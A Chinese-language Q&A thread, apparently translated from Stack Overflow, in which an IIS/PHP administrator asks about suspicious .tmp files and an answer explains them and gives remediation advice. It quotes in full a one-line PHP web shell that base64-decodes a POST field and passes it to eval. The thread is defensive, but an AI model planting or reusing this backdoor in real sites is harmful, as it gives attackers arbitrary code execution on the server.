我注意到我们的临时目录中有许多看起来像临时文件的名字,如phpA3F9.tmp
查看内容我找到一个数字后跟一些PHP代码,以下代码出现在几个文件中
9990000
<?php
$mujj = $_POST['z']; if ($mujj!="") { $xsser=base64_decode($_POST['z0']); @eval("\$safedg = $xsser;"); } ?>
这似乎是一次攻击尝试,但我认为它依赖于攻击者能够执行tmp文件夹中的代码。
有人可以解释这里发生了什么吗?有什么风险?这些文件如何进入tmp文件夹?我该如何制止它们呢?
我不知道它是否相关,但我们在IIS上运行PHP 5.5
答案 0 :(得分:6)
简短的故事:您的服务器可能已被盗用。
这些是PHP shell - 它们几乎无害,但如果它们进入你的web根目录,它们将允许攻击者在你的服务器上执行任意代码。
理解shell的关键部分是:
$xsser=base64_decode($_POST['z0']);
@eval("\$safedg = $xsser;");
它接受来自$_POST
变量base64_decode
的所有代码,然后通过eval
运行它,同时抑制任何错误。
它们可能通过您网站上的表单上传,并作为中间步骤转储到临时文件夹中,希望它们可以移动到可通过Web访问的位置。另一个选择是你的服务器上已经有一个shell或rootkit,它将这些文件放在它可以找到的任何可写文件夹中。
那该怎么办呢?检查您的服务器日志 - 如果您发现任何与您无法识别的脚本的成功连接,您可能会受到损害。查找您网站上的任何上传表单,并将其锁定(需要用户身份验证等),然后如果您确定自己已被入侵,请不要费心去清理它。启动新服务器,将 clean 代码,重要文件和数据迁移到干净的服务器。